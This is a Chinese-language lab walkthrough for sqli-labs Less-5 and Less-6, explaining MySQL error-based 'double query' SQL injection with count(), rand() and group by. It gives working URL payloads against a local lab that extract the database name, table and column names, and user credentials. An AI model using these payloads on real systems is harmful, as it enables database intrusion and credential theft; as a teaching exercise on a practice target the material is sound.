Less5
双注入_GET_单引号_字符型注入
我们来看什么是双查询注入:
0x01. 子查询
先理解一下子查询,查询的关键字是select
。子查询可以简单的理解在一个select
语句里还有一个select
,里面的这个select
语句就是子查询,子查询要用单引号闭合。
select concat((select database()))
concat()
函数在Less1里详细介绍过,这条语句的执行结果是:
真正执行的时候,先从子查询进行。因此执行select database()
这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。
0x02. Mysql语法
rand()函数
随机函数:返回0~1间的小数。
floor()函数
小数向下取整函数。向上取整函数:ceiling()
count()函数
汇总函数:返回匹配指定条件的行数。
select count(*) from users
group by子句
分组语句:常用于结合合计函数,根据一个或多个列对结果集进行分组。
如有这样一个表:
customer | price |
---|---|
alice | 2300 |
charlie | 4000 |
alice | 700 |
bob | 1600 |
bob | 400 |
select customer,sum(price) from orders group by customer
得到的结果就是:
customer | price |
---|---|
alice | 3000 |
charlie | 4000 |
bob | 2000 |
如果没加group by
,结果就有了重复项:
customer | price |
---|---|
alice | 3000 |
charlie | 4000 |
alice | 3000 |
bob | 2000 |
bob | 2000 |
0x03. 双查询注入原理
当在一个聚合函数,比如count()
函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
步骤1:rand()
函数返回0~1间的数,*2向下取整后非0即1:
select floor(rand()*2)
步骤2:子查询返回的结果用
concat_ws()
函数连接,可以看到显示的值中有数据库名,数据库名之后连接的非0即1:
select concat_ws('-',(select database()),floor(rand()*2))
步骤3:如果在这条语句后面加上
from
一个表名,那么会返回security-0
或security-1
的一个集合,数目是由表本身有几条结果决定的:
select concat_ws('-',(select database()),floor(rand()*2)) from users
如果是从
information_schema.schemata
里,这个表包含了mysql的所有数据库名,则会返回数据库数个结果。
步骤4:我们使用information_schema.tables
或者information_schema.columns
两个表来查询想要的信息。
我们把concat_ws('-',(select database()),floor(rand()*2))
这个结果取了一个别名a
,然后使用它进行分组。这样相同的security-0
分到一组,security-1
分到一组,就剩下两个结果了:
select concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a
这里的
database()
可以替换成任何想查的函数,比如version()
,user()
等。
步骤5:最后一步,使报错中显示想要查询的结果:
select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a
可以看到报错中显示了数据库名。
注意:还有一种双注入比较复杂,叫做派生表。需要使用select 1 from (table_name) derived_table_name
这样的语法来报错,具体就是:
select 1 from (select count(*),concat_ws('-',(select user()),floor(rand()*2))as a from information_schema.tables group by a) b
0x04. 注入过程
http://localhost:8088/sqlilabs/Less-5/?id=1
http://localhost:8088/sqlilabs/Less-5/?id=1'
http://localhost:8088/sqlilabs/Less-5/?id=1"
第一、第三条正常,且无回显;第二条报错:字符型双注入。
http://localhost:8088/sqlilabs/Less-5/?id=-1' order by 4--+
得出共3个字段。
http://localhost:8088/sqlilabs/Less-5/?id=-1' union select 1,2,3--+
无回显,即不需要看到哪几个字段显示。
http://localhost:8088/sqlilabs/Less-5/?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a--+
通过联合查询,得出数据库名:security
http://localhost:8088/sqlilabs/Less-5/?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a--+
通过group_concat()
函数将查到的表名连接并返回报错,得出表名:users
http://localhost:8088/sqlilabs/Less-5/?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand()*2)) as a from information_schema.tables group by a--+
同样的方法,得出字段名:id、username、password
http://localhost:8088/sqlilabs/Less-5/?id=-1' union select 1,count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand()*2)) as a from information_schema.columns group by a--+
最后是用户信息,因为这里只能查询一行,所以不能用group_concat()
,可以修改limit
的范围来遍历用户信息。
0x05. 吐槽
没有吐槽
注入真有意思
url一点都不长
Less6
双注入_GET_双引号_字符型注入
和Less5差别只在于单双引号,可用上述手注或脚本注入。